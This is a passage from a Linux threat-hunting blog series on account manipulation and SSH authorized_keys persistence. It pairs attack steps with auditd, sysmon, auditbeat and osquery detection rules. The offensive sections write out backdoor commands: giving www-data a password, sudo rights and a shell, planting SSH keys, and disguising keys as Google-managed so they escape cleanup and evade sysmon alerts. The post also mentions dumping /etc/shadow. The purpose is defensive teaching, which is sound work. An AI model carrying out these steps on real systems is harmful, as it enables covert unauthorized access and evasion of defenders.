<p>This shows that as it is, <code class="language-plaintext highlighter-rouge">sysmon</code> will not be completely reliable for file integrity monitoring. In the next blog post, we will show how rules such as <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1543.002_CreateModSystemProcess_Systemd.xml">T1543.002_CreateModSystemProcess_Systemd.xml</a> might fail to detect installation of systemd services</p>
<p>I would also expand alerting to other user and group modification commands, similar to <code class="language-plaintext highlighter-rouge">auditd</code></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"group_modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>groupmod<span class="nt"></Image></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>addgroup<span class="nt"></Image></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>groupadd<span class="nt"></Image></span>
<span class="nt"></Rule></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"user_modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>usermod<span class="nt"></Image></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>userdel<span class="nt"></Image></span>
<span class="nt"></Rule></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"passwd_modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">></span>passwd<span class="nt"></Image></span>
<span class="nt"></Rule></span>
<span class="nt"></ProcessCreate></span>
<span class="nt"></RuleGroup></span>
</code></pre></div></div>
<h3 id="3-valid-accounts-manipulation-local-accounts">3 Valid Accounts Manipulation: Local Accounts</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1098/">https://attack.mitre.org/techniques/T1098/</a> and <a href="https://attack.mitre.org/techniques/T1078/">https://attack.mitre.org/techniques/T1078/</a></p>
<h4 id="31-abusing-legitimate-accounts">3.1 Abusing Legitimate Accounts</h4>
<h5 id="311-modfying-existing-accounts">3.1.1 Modfying existing accounts</h5>
<p>Adversaries may obtain credentials or modify the configuration of existing accounts to maintain persistence. Because these accounts have legitimate purpose, the defenders might have them whitelisted in their alerts or be cautious in doing any significant remediation if they are not familiar with the baseline configuration of the accounts.</p>
<p>In this example, we’ll add a backdoor to the <code class="language-plaintext highlighter-rouge">www-data</code> account. We add a password and let <code class="language-plaintext highlighter-rouge">wwww-data</code> be a sudo-er</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>passwd www-data
<span class="nb">sudo </span>usermod <span class="nt">-aG</span> <span class="nb">sudo </span>www-data
</code></pre></div></div>
<p>We modify <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to allow us to SSH as <code class="language-plaintext highlighter-rouge">www-data</code> from</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</code></pre></div></div>
<p>to</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data:x:33:33:www-data:/var/www:/bin/bash
</code></pre></div></div>
<p>In some server configurations, password authentications might be disabled. We might need to modify <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code> to enable passwords.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PasswordAuthentication yes
</code></pre></div></div>
<p>And restart service.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>service ssh restart
</code></pre></div></div>
<p>This will now allow an attacker to SSH as <code class="language-plaintext highlighter-rouge">www-data</code> and run as sudo.</p>
<h5 id="322-other-ways-of-abusing-local-accounts">3.2.2 Other ways of abusing local accounts</h5>
<p>Sometimes an attacker might not even need to manipulate an account. Maybe he can just:</p>
<ul>
<li>Dump <code class="language-plaintext highlighter-rouge">/etc/shadow</code> and crack hashes</li>
<li>Get private keys in a users <code class="language-plaintext highlighter-rouge">.ssh</code> folders</li>
<li>Downloading CLI service account keys and tokens (GCP and AWS)</li>
<li>Looking for hardcoded credentials in config files</li>
</ul>
<p>These might provide more covert ways of maintaining persistence and these are less likely to be detected since they are legitimately used by users.</p>
<h4 id="33-detection-similar-as-create-account">3.3 Detection: Similar as create account</h4>
<p>Similar to creating an account, this might require us to modify files such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code> and <code class="language-plaintext highlighter-rouge">/etc/shadow</code> so previous detection rules for account creation will also catch this.</p>
<p>Dumping of <code class="language-plaintext highlighter-rouge">/etc/shadow</code> will be detected by the auditd rules</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/shadow -k etcpasswd
</code></pre></div></div>
<p>For the change in <code class="language-plaintext highlighter-rouge">sshd</code> configuration, you can use the following auditd rules</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## SSH configuration
-w /etc/ssh/sshd_config -k sshd
-w /etc/ssh/sshd_config.d -k sshd
</code></pre></div></div>
<h4 id="34-detection-hunting-for-created-or-manipulated-accounts-with-osquery">3.4 Detection: Hunting for created or manipulated accounts with osquery</h4>
<h5 id="341-looking-for-logged-in-users">3.4.1 Looking for logged in users</h5>
<p>You can query your fleet to found active sessions. There might be a persistence session there you don’t know about.</p>
<p>Query</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="k">type</span><span class="p">,</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span>
<span class="k">FROM</span> <span class="n">logged_in_users</span>
<span class="k">WHERE</span> <span class="k">type</span> <span class="o">=</span> <span class="s1">'user'</span><span class="p">;</span>
</code></pre></div></div>
<p>Result</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+-----------------+
| type | user | host |
+------+----------+-----------------+
| user | www-data | 1.2.3.4 |
| user | user | 1.2.3.4 |
+------+----------+-----------------+
</code></pre></div></div>
<h5 id="342-look-for-account-with-active-passwords">3.4.2 Look for account with active passwords</h5>
<p>When you have secure images that disable password logins by default (like cloud VMs), then you should not see active passwords.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">password_status</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">last_change</span>
<span class="k">FROM</span> <span class="n">shadow</span>
<span class="k">WHERE</span> <span class="n">password_status</span> <span class="o">=</span> <span class="s1">'active'</span><span class="p">;</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active | www-data | 18953 |
| active | legit | 18819 |
+-----------------+----------+-------------+\
</code></pre></div></div>
<h5 id="343-look-for-accounts-in-special-groups">3.4.3 Look for accounts in special groups</h5>
<p>Look for accounts with special permissions that can be used for privesc. Each user should be accounted for.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">uid</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">groupname</span>
<span class="k">FROM</span> <span class="n">user_groups</span>
<span class="k">JOIN</span> <span class="n">users</span>
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
<span class="k">JOIN</span> <span class="n">groups</span>
<span class="k">ON</span> <span class="n">user_groups</span><span class="p">.</span><span class="n">gid</span><span class="o">=</span><span class="n">groups</span><span class="p">.</span><span class="n">gid</span>
<span class="k">WHERE</span>
<span class="p">(</span><span class="n">groupname</span> <span class="o">=</span> <span class="s1">'sudo'</span>
<span class="k">OR</span> <span class="n">groupname</span> <span class="o">=</span> <span class="s1">'root'</span><span class="p">)</span>
<span class="k">AND</span> <span class="n">username</span> <span class="o">!=</span> <span class="s1">'root'</span><span class="p">;</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+-----------+
| uid | username | groupname |
+------+----------+-----------+
| 33 | www-data | sudo |
| 1001 | legit | sudo |
| 1002 | nginx | sudo |
+------+----------+-----------+
</code></pre></div></div>
<h5 id="344-look-for-users-that-have-shells-set">3.4.4 Look for users that have shells set</h5>
<p>It’s possible to login as these users. If system accounts have <code class="language-plaintext highlighter-rouge">/bin/bash</code> set then this might be a backdoor.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">uid</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">directory</span><span class="p">,</span> <span class="n">shell</span>
<span class="k">FROM</span> <span class="n">users</span>
<span class="k">WHERE</span> <span class="n">shell</span> <span class="o">!=</span> <span class="nv">"/usr/sbin/nologin"</span><span class="p">;</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+-------------+-----------+
| uid | username | directory | shell |
+------+----------+-------------+-----------+
| 0 | root | /root | /bin/bash |
| 4 | sync | /bin | /bin/sync |
| 33 | www-data | /var/www | /bin/bash |
| 1000 | user | /home/user | /bin/bash |
| 1001 | legit | /home/legit | /bin/bash |
| 1002 | nginx | /var/www/ | /bin/bash |
+------+----------+-------------+-----------+
</code></pre></div></div>
<h5 id="345-look-for-commands-related-to-account-creation-or-manipulation">3.4.5 Look for commands related to account creation or manipulation</h5>
<p>Similar to what we’ve been setting up in auditd and sysmon. In case the attacker did not clean up the bash history, then we might be able to find traces of bad activities.</p>
<p>This also includes checking for <code class="language-plaintext highlighter-rouge">authorized_keys</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">uid</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">command</span>
<span class="k">FROM</span> <span class="n">users</span>
<span class="k">JOIN</span> <span class="n">shell_history</span>
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">regex_match</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s1">'useradd|adduser|passwd|usermod|groupmod|addgroup|groupadd|authorized_keys'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">IS</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">;</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------+----------+--------------------------------------------------+
| uid | username | command |
+------+----------+--------------------------------------------------+
| 0 | root | passwd www-data |
| 0 | root | vi /etc/passwd |
| 0 | root | cat /etc/passwd |
| 0 | root | echo "ssh-ed25519 AA..." >> .ssh/authorized_keys |
| 1000 | user | echo "ssh-ed25519 ..." >> authorized_keys |
| 1000 | user | usermod -aG sudo legit |
| 1000 | user | sudo usermod -aG sudo legit |
| 1001 | legit | sudo vi authorized_keys |
+------+----------+--------------------------------------------------+
</code></pre></div></div>
<h4 id="35-manual-comands">3.5 Manual Comands</h4>
<h5 id="351-lastlog">3.5.1 lastlog</h5>
<p>We can use the <code class="language-plaintext highlighter-rouge">lastlog</code> to see which users were loggedin recently</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>></span> lastlog | <span class="nb">grep</span> <span class="nt">-v</span> Never
Username Port From Latest
www-data pts/1 1.2.3.4 Wed Nov 24 11:17:46 +0000 2021
user pts/0 1.2.3.4 Wed Nov 24 11:41:22 +0000 2021
legit pts/1 1.2.3.4 Sun Jul 11 16:18:58 +0000 2021
nginx pts/1 1.2.3.4 Mon Nov 22 16:59:47 +0000 2021
</code></pre></div></div>
<h5 id="352-varlogauthlog">3.5.2 /var/log/auth.log</h5>
<p>Or we can look at recent authentication logs and see which users where used in SSH sessions.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>>> cat /var/log/auth.log | grep sshd | grep -i Accepted
Nov 22 16:36:05 test-auditd sshd[13413]: Accepted publickey for user from 1.2.3.4 port 17629 ssh2: ED25519 SHA256:AA...
Nov 22 16:38:42 test-auditd sshd[13446]: Accepted publickey for user from 1.2.3.4 port 18131 ssh2: ED25519 SHA256:AA...
Nov 22 16:54:55 test-auditd sshd[13634]: Accepted publickey for nginx from 1.2.3.4 port 21020 ssh2: ED25519 SHA256:AA...
Nov 22 16:59:46 test-auditd sshd[13683]: Accepted publickey for nginx from 1.2.3.4 port 17676 ssh2: ED25519 SHA256:AA...
Nov 24 10:37:40 test-auditd sshd[11981]: Accepted publickey for user from 1.2.3.4 port 18970 ssh2: ED25519 SHA256:AA...
Nov 24 11:17:45 test-auditd sshd[15854]: Accepted password for www-data from 1.2.3.4 port 18669 ssh2
Nov 24 11:41:21 test-auditd sshd[16566]: Accepted publickey for user from 1.2.3.4 port 17873 ssh2: ED25519 SHA256:AA...
</code></pre></div></div>
<h3 id="4-account-manipulation-ssh-authorized-keys">4 Account Manipulation: SSH Authorized Keys</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1098/004/">https://attack.mitre.org/techniques/T1098/004/</a></p>
<h4 id="41-adding-ssh-authorized-keys">4.1 Adding SSH Authorized Keys</h4>
<p>Adding SSH keys is one simple way that an attacker can maintain persistence. Moreover, the <code class="language-plaintext highlighter-rouge">authorized_keys</code> file is often abstracted by platforms such as GCP and AWS so engineers rarely interact with these files manually. So if you are able to insert an SSH key, then it will probably stay there for a long time.</p>
<p>The <code class="language-plaintext highlighter-rouge">authorized_keys</code> file can be placed in the <code class="language-plaintext highlighter-rouge"><home>/.ssh/</code> directory of each user in the machine.</p>
<p>If we have the following users</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:x:0:0:root:/root:/bin/bash
user:x:1000:1001::/home/user:/bin/bash
nginx:x:0:0:,,,:/var/www/:/bin/bash
</code></pre></div></div>
<p>Then the we would want to add our SSH keys in:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/var/www/.ssh/authorized_keys</code></li>
<li><code class="language-plaintext highlighter-rouge">/home/user/.ssh/authorized_key</code></li>
<li><code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code></li>
</ul>
<p>Then we can run the following commands</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create .ssh directory if it does not exist </span>
<span class="nb">mkdir</span> /var/www/.ssh
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">>></span> /var/www/.ssh/authorized_keys
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">>></span> /home/user/.ssh/authorized_keys
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">>></span> /root/.ssh/authorized_keys
</code></pre></div></div>
<h4 id="42-some-notes-on-ssh-keys-in-authorized_keys">4.2 Some notes on SSH keys in authorized_keys</h4>
<p>First, to make it a bit more confusing for the defenders, when adding an SSH key copy the usernames in the other SSH keys.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 paul@LP-291221
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221
</code></pre></div></div>
<p>The “email address” in SSH keys are simply comments that can be changed to anything. This is much better than having <code class="language-plaintext highlighter-rouge">kali</code> in your backdoor SSH keys.</p>
<p>Next, you can add comments to the SSH keys such as</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># DO NOT REMOVE
ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 security-team
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221
</code></pre></div></div>
<p>This might be useful for environments such as Google Cloud Platform.</p>
<p>By default, SSH keys are set project wide and added to all instances in the project with the comment <code class="language-plaintext highlighter-rouge"># Added by Google</code> . These SSH keys are “managed” and <em>should</em> be automatically removed when the SSH key is deleted in the project. However, I’ve found that when we add a few whitespaces at the end, the SSH keys are not removed even if they are not found in the project-wide metadata server.</p>
<p>So we add our SSH key and add <code class="language-plaintext highlighter-rouge"># Added by Google </code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Added by Google
ssh-ed25519 AAAAC3NzaC1lZDI1NTg3f2vasdcascTcwuq8CVppeNDQv85MQ3fsdsa592q86W1 security-team
# Added by Google
ssh-ed25519 AAAAC3NzaC1lZDascacasbI1NTE5AAAAIB7q5ZK6GMNO6lTd90yutRohmGPugoCruTL paul@LP-291221
</code></pre></div></div>
<p>This makes these SSH keys more likely to be overlooked by defenders.</p>
<h4 id="43-detection-file-integrity-monitoring">4.3 Detection: File Integrity Monitoring</h4>
<p>By default auditbeat does not monitor these files. You have to know the users of the machine beforehand to be able to monitor the <code class="language-plaintext highlighter-rouge">.ssh</code> folder of each user</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">/bin</span>
<span class="pi">-</span> <span class="s">/usr/bin</span>
<span class="pi">-</span> <span class="s">/sbin</span>
<span class="pi">-</span> <span class="s">/usr/sbin</span>
<span class="pi">-</span> <span class="s">/etc</span>
<span class="pi">-</span> <span class="s">/root</span> <span class="c1"># <--- Add </span>
<span class="pi">-</span> <span class="s">/home/user/.ssh</span> <span class="c1"># <--- Add </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">system</span>
<span class="na">datasets</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">package</span> <span class="c1"># Installed, updated, and removed packages</span>
</code></pre></div></div>
<p>This allows us to detect changes to the <code class="language-plaintext highlighter-rouge">authorized_keys</code> of existing users. If additional users are added, these will be out of scope but they should hopefully be detected by the “create/modify user” detection rules we previously discussed.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*I2EtAY4nFzYivPF2PEWtQA.png" alt="" /></p>
<h4 id="44-detection-auditd">4.4 Detection: Auditd</h4>
<p>Similar to the FIM, we need to explicitly put the directory of each user to be able to monitor it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /root/.ssh -p wa -k rootkey
-w /home/user/.ssh -p wa -k userkey
</code></pre></div></div>
<p>This looks for write or updates to those <code class="language-plaintext highlighter-rouge">/home/user/.ssh/*</code> and <code class="language-plaintext highlighter-rouge">/root/.ssh/*</code></p>
<p>Here is an example output of the raw auditd log</p>
<pre class="highlight"><code>
type=SYSCALL msg=audit(1637609476.111:15803): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=563001182d80 a2=241 a3=1b6 items=2 ppid=15409 pid=15410 <u><b>auid=1000 uid=1000 gid=1001</b></u> euid=1000 suid=1000 fsuid=1000 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=50 <u><b>comm="bash" exe="/usr/bin/bash"</b></u> subj==unconfined <u><b>key="userkey"</b></u>, type=PATH msg=audit(1637609476.111:15803): item=0 name=".ssh/" inode=526594 dev=08:01 mode=040700 ouid=1000 ogid=1001 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637609476.111:15803): item=1 <u><b>name=".ssh/authorized_keys"</b></u> inode=527241 dev=08:01 mode=0100600 ouid=1000 ogid=1001 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637609476.111:15803): proctitle="-bash"
</code></pre>
<h4 id="45-detection-sysmon">4.5 Detection: Sysmon</h4>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1098.004,TechniqueName=Account Manipulation: SSH Authorized Keys"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>authorized_keys<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>.ssh<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
<span class="nt"></RuleGroup></span>
</code></pre></div></div>
<p>If we run the command, and a <code class="language-plaintext highlighter-rouge">authorized_keys</code> file does not exist yet this will generate a log</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">>></span> /var/www/.ssh/authorized_keys
</code></pre></div></div>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>11<span class="nt"></EventID></span>
<span class="nt"><Version></span>2<span class="nt"></Version></span>
<span class="nt"><EventRecordID></span>12463<span class="nt"></EventRecordID></span>
<span class="nt"><Correlation/></span>
<span class="nt"><Execution</span> <span class="na">ProcessID=</span><span class="s">"20655"</span> <span class="na">ThreadID=</span><span class="s">"20655"</span><span class="nt">/></span>
<span class="nt"><Channel></span>Linux-Sysmon/Operational<span class="nt"></Channel></span>
<span class="nt"><Computer></span>sysmon-test<span class="nt"></Computer></span>
<span class="nt"><Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1098.004,TechniqueName=Acco<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>20667<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/bash<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">></span>/var/www/.ssh/authorized_keys<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">></span>2021-11-24 09:22:36.722<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>root<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<p>However, if the <code class="language-plaintext highlighter-rouge">authorized_keys</code> file already exists then the rule will not be triggered.</p>
<p>Now an attacker can easily bypass this alert by creating the file output of the <code class="language-plaintext highlighter-rouge">.ssh</code> folder and not named <code class="language-plaintext highlighter-rouge">authorized_keys</code> and renaming it to <code class="language-plaintext highlighter-rouge">authorized_keys</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">>></span> /tmp/keys
<span class="nb">mv</span> /tmp/keys /var/www/.ssh/authorized_keys
</code></pre></div></div>
<p>There might be something wrong with how I define my rules sysmon rules in linux or it might be the version of <code class="language-plaintext highlighter-rouge">sysmon</code> installed in my test VM ,but this really shows that <code class="language-plaintext highlighter-rouge">sysmon</code> is not viable for file integrity monitoring as it is.</p>
<p>This would also be problematic for other rules which I am referencing for this:</p>
<ul>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1543.002_CreateModSystemProcess_Systemd.xml">T1543.002_CreateModSystemProcess_Systemd.xml</a></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1037_BootLogonInitScripts_CommonDirectories.xml">T1037_BootLogonInitScripts_CommonDirectories.xml</a></li>
</ul>
<h4 id="46-detection-osquery">4.6 Detection: OSQuery</h4>
<p>Aside from the previous osquery queries, if you have a fleet then one way you can monitor <code class="language-plaintext highlighter-rouge">authorized_keys</code> is by getting snapshots of your fleet’s <code class="language-plaintext highlighter-rouge">authorized_keys</code></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">authorized_keys</span><span class="p">.</span><span class="o">*</span>
<span class="k">FROM</span> <span class="n">users</span>
<span class="k">JOIN</span> <span class="n">authorized_keys</span>
<span class="k">USING</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------+-----------------+----------------------------------+
| username | key | key_file |
+----------+-----------------+----------------------------------+
| root | ssh-ed25519 ... | /root/.ssh/authorized_keys |
| root | ssh-ed25519 ... | /root/.ssh/authorized_keys |
| www-data | ssh-ed25519 ... | /var/www/.ssh/authorized_keys |
| www-data | ssh-ed25519 ... | /var/www/.ssh/authorized_keys |
| user | ssh-ed25519 ... | /home/user/.ssh/authorized_keys |
| user | ssh-ed25519 ... | /home/user/.ssh/authorized_keys |
| user | ssh-ed25519 ... | /home/user/.ssh/authorized_keys |
| user | ssh-ed25519 ... | /home/user/.ssh/authorized_keys |
| user | ssh-ed25519 ... | /home/user/.ssh/authorized_keys |
| legit | ssh-ed25519 ... | /home/legit/.ssh/authorized_keys |
| nginx | ssh-ed25519 ... | /var/www/.ssh/authorized_keys |
| nginx | ssh-ed25519 ... | /var/www/.ssh/authorized_keys |
+----------+-----------------+----------------------------------+
</code></pre></div></div>
<p>And investigate the diffs. You can look public keys that are not registered in AWS or GCP. Look SSH keys that are uncommon in your fleet, etc.</p>
<h3 id="conclusions-and-whats-next">Conclusions and What’s next</h3>
<p>We’ve seen how account creation and manipulation isn’t just about looking for the <code class="language-plaintext highlighter-rouge">useradd</code> command.</p>
<p>We have to also include alerts for modifications of <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, <code class="language-plaintext highlighter-rouge">/etc/gshadow</code> and <code class="language-plaintext highlighter-rouge">/etc/group</code> . We also want to look for modifications to <code class="language-plaintext highlighter-rouge">authorized_keys</code>. For these file integrity tasks, I’ll stick to <code class="language-plaintext highlighter-rouge">auditd</code> and/or <code class="language-plaintext highlighter-rouge">auditbeats</code>.</p>
<p>I have yet to find sysmon rules that works well for these scenarios. SysmonForLinux might not be built for this… I’ll ask around and update these blog posts when I get a solution for this.</p>
<p>In the next blog post we’ll go through installed persistence using Systemd, Timers, and Cron.</p>
<hr />
<p>Photo by <a href="https://unsplash.com/@cbarbalis">Chris Barbalis</a> on <a href="https://unsplash.com/">Unsplash</a></p>Pepe BerbaIntroductionHunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery (and Webshells)2021-11-22T00:00:00+00:002021-11-22T00:00:00+00:00https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell<h3 id="overview-of-blog-series">Overview of blog series</h3>
<p>Welcome to this blog series “Hunting for Persistence in Linux”! This is a series that explores methods attackers might use to maintain persistent access to a compromised linux system. To do this, we will take an “<em>offense informs defense</em>” approach by going through techniques listed in the <a href="https://attack.mitre.org/matrices/enterprise/linux/">MITRE ATT&CK Matrix for Linux</a>. I will try to:</p>
<ol>
<li>Give examples of how an attacker might deploy one of these backdoors</li>
<li>Show how a defender might monitor and detect these installations</li>
</ol>
<p>By giving concrete implementations of these persistence techniques, I hope to give defenders a better appreciation of what exactly they are trying to detect, and some clear examples of how they can test their own alerting.</p>
<p>Each persistence technique has two main parts:</p>
<ol>
<li>How to deploy the persistence techniques</li>
<li>How to monitor and detect persistence techniques</li>
</ol>
<p>In this blog post, we will be focusing more on logging and monitoring, and simply use web shells as an initial example. The rest of the techniques will discuss other techniques in succeeding posts.</p>
<p>The diagram above gives an overview of what will be discussed in this series. <em><a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf version]</a></em></p>
<p>Here is the outline for the series:</p>
<ul>
<li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
<ul>
